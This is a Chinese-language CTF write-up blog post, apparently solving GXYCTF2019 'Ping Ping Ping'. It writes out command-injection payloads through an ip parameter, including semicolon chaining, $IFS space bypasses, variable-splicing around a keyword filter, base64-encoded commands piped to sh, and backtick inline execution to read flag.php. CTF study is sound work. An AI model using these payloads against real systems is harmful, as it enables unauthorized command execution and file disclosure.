GXYCTF2019_Ping Ping Ping
[GXYCTF2019]Ping Ping Ping
打开题目可以得到
看来这题是要我们来构造ip
那就先试试127.0.0.1,再用管道符加上linux常用命令ls试试
管道符就是:
构造?ip=127.0.0.1;ls
好家伙出来了flag.php
直接连接它试试
?ip=127.0.0.1;cat flag
看来这里空格被过滤了
以下方法可以绕过空格
一个一个试发现$IFS$1是行得通的
那便构造:?ip=127.0.0.1;cat$IFS$1flag.php
看来flag也被过滤了
那便试试index
?ip=127.0.0.1;cat$IFS$1index.php
发现很多符号都过滤了
所以单引号双引号绕过,反斜线绕过这些都行不通了
但仔细观察源码发现有一个变量a可以替换
我们可以尝试构造
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
可以发现得到了flag
这里还可以将cat flag.php进行base64编码
得到Y2F0IGZsYWcucGhw
再用base64-d命令来执行
虽然过滤了bash但大部分仍然可以用sh来执行
则构造echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
还有一种内联执行的方法
所谓内联,就是将反引号内命令的输出作为输入执行
则尝试构造
1 | ?ip=127.0.0.1;cat$IFS$9`ls` |
一样可以得到flag
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 FakerCsr's Magic Box!
评论